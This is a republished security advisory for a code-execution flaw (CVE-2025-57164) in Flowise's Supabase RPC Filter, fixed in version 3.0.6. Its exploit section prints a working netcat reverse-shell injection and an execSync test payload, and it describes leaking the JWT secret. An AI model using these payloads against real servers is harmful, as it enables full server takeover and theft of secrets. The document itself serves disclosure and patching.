flowise
Affected
- introduced
3.0.5, fixed3.0.6(semver)
Fixed versions
3.0.6
Fix
- Fixed version
3.0.6npm install [email protected]
Advisory
Also known as: CVE-2025-57164
FlowiseAI Pre-Auth Arbitrary Code Execution
Summary
An authenticated admin user of FlowiseAI can exploit the Supabase RPC Filter component to execute arbitrary server-side code without restriction. By injecting a malicious payload into the filter expression field, the attacker can directly trigger JavaScript's execSync() to launch reverse shells, access environment secrets, or perform any OS-level command execution.
This results in full server compromise and severe breach of trust boundaries between frontend input and backend execution logic.
Details
FlowiseAI includes a component called Supabase.ts, located at: packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237
<img width="622" height="177" alt="image(3)" src="https://github.com/user-attachments/assets/f30ccd12-4709-44ac-a6ef-8f57a1cb5c3b" />
This creates a function from user-provided string supabaseRPCFilter with no filtering, escaping, or sandboxing in place. Any injected JavaScript in this string is compiled and executed immediately when the node is triggered.
Exploit
We configured our environment to use Supabase entities as follows:
<img width="573" height="765" alt="image(4)" src="https://github.com/user-attachments/assets/b8c721db-7b6b-4fb4-99c1-a4b0c3f98caf" />
To confirm the vulnerability, a filter expression was crafted to forcibly raise an error and expose sensitive environment variables:
<img width="1920" height="915" alt="image(5)" src="https://github.com/user-attachments/assets/19e377dd-fd78-4437-b2d4-48c72d75f947" />
This results in the JWT secret being printed to the frontend, confirming access to server-side environment variables.
Subsequently, a reverse shell was successfully established using:
filter(process.mainModule.require("child_process").execSync("nc [REDACTED] 9999 -e /bin/sh"), "gt", 5)
<img width="425" height="475" alt="image(6)" src="https://github.com/user-attachments/assets/6dde2461-8db4-4d8d-8318-7b7171a32eb4" />
This proves arbitrary OS-level command execution is possible within the FlowiseAI backend runtime context.
Steps to Reproduce
Supabase node and configure "Supabase RPC Filter". process.mainModule.require("child_process").execSync("id")
Impact
JWT_REFRESH_TOKEN_SECRET.Trust Boundary Violation
The vulnerability breaks the boundary between frontend node configuration and backend execution logic. An attacker-supplied value (supabaseRPCFilter) becomes part of compiled JavaScript logic, blending user-controlled input with trusted backend execution.
This violates OWASP LLM Top 10 - LLM-06: Sensitive Code Execution, especially in low-code / visual LLM agents.
Evidence
*Environment variable leakage via malformed JSON*
*Reverse shell successfully triggered using attacker-controlled input*
Credit
This report was prepared by Team 404 Not Found 퇴근 (WhiteHat School 3rd cohort, South Korea)
Critical Basis: The source's own band: CRITICAL
3.0.5, fixed 3.0.6 (semver)3.0.6
3.0.6npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0